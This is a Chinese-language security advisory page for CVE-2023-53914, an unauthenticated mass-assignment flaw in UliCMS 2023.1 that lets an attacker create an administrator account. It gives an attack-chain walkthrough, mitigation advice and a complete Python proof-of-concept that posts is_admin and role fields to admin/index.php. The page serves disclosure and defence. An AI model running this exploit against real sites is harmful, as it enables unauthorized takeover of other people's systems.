IPBUF安全漏洞报告
English
CVE-2023-53914 CVSS 9.8 严重

CVE-2023-53914 UliCMS 2023.1 认证绕过漏洞导致管理员账户创建

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53914
漏洞类型
认证绕过/质量赋值
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
UliCMS 2023.1

相关标签

认证绕过质量赋值权限提升CVE-2023-53914UliCMSWeb应用安全漏洞利用未授权访问

漏洞概述

CVE-2023-53914是UliCMS 2023.1版本中的一个严重安全漏洞,CVSS评分高达9.8(严重级别)。该漏洞允许未经身份验证的攻击者通过质量赋值(Mass Assignment)技术在UserController中创建管理员账户,从而获得系统的完全访问权限。由于攻击无需任何认证凭据,且通过网络即可远程利用,使得该漏洞具有极高的安全风险。攻击者只需构造恶意的POST请求发送到管理后台的index.php端点,通过在请求参数中指定管理员权限相关的字段,即可成功创建一个具有完整系统访问权限的管理员账户。成功利用此漏洞后,攻击者可以完全控制受影响的UliCMS系统,执行任意代码、访问敏感数据、篡改网站内容等恶意操作。建议受影响的用户尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞存在于UliCMS 2023.1的UserController组件中。漏洞的根本原因是在处理用户创建请求时,应用程序未能正确限制哪些字段可以被外部输入修改,导致质量赋值(Mass Assignment)漏洞。攻击者可以通过构造特定的POST请求参数,在请求中包含is_admin或role等敏感字段,并将其设置为管理员权限值。UserController在处理请求时,会直接将用户提交的参数绑定到用户对象模型上,而没有进行充分的输入验证和访问控制检查。由于该端点缺少身份验证机制,任何未经认证的用户都可以发送此类请求。攻击者通过发送包含admin_user参数和相应权限标记的POST请求到admin/index.php端点,即可绕过正常的用户注册流程,直接创建一个具有管理员权限的账户。一旦管理员账户创建成功,攻击者即可登录后台管理界面,获得对整个CMS系统的完全控制权。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的UliCMS版本,确认是否为2023.1版本
STEP 2
步骤2: 构造恶意请求
攻击者构造包含admin_user、is_admin、role等参数的POST请求,绕过正常的管理员创建流程
STEP 3
步骤3: 发送利用载荷
向目标站点的admin/index.php端点发送构造好的POST请求,由于缺少认证验证,请求直接被处理
STEP 4
步骤4: 管理员账户创建
UserController通过质量赋值将攻击者指定的参数值绑定到用户对象,成功创建具有管理员权限的账户
STEP 5
步骤5: 系统完全控制
攻击者使用创建的管理员凭据登录后台管理系统,获得对整个UliCMS的完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53914 PoC - UliCMS Authentication Bypass via Mass Assignment # Target: UliCMS 2023.1 # Vulnerability: Unauthenticated admin account creation via mass assignment def exploit(target_url): """ Exploit mass assignment vulnerability to create admin user """ # Target endpoint for admin user creation endpoint = f"{target_url.rstrip('/')}/admin/index.php" # Payload for creating admin user via mass assignment # The vulnerable parameters allow setting admin privileges payload = { 'admin_user': '1', 'name': 'hacked_admin', 'email': '[email protected]', 'password': 'P@ssw0rd123', 'password_confirm': 'P@ssw0rd123', 'role': 'admin', 'is_admin': '1', 'submit': '1' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2023-53914...") print(f"[*] Sending malicious POST request...") try: response = requests.post(endpoint, data=payload, timeout=30) if response.status_code == 200: print("[+] Admin user created successfully!") print(f"[+] Login credentials:") print(f" Username: hacked_admin") print(f" Password: P@ssw0rd123") print(f"[+] Access admin panel at: {target_url}/admin/") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/ulicms") sys.exit(1) target = sys.argv[1] exploit(target)

影响范围

UliCMS 2023.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制对admin/index.php端点的访问,部署IP白名单或VPN访问控制;2) 在Web应用防火墙(WAF)中添加规则,检测和阻止包含is_admin、role等可疑参数的请求;3) 临时禁用用户注册功能;4) 启用详细的访问日志监控异常的管理员账户创建行为;5) 定期检查系统中是否存在未经授权的管理员账户。建议尽快应用官方发布的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表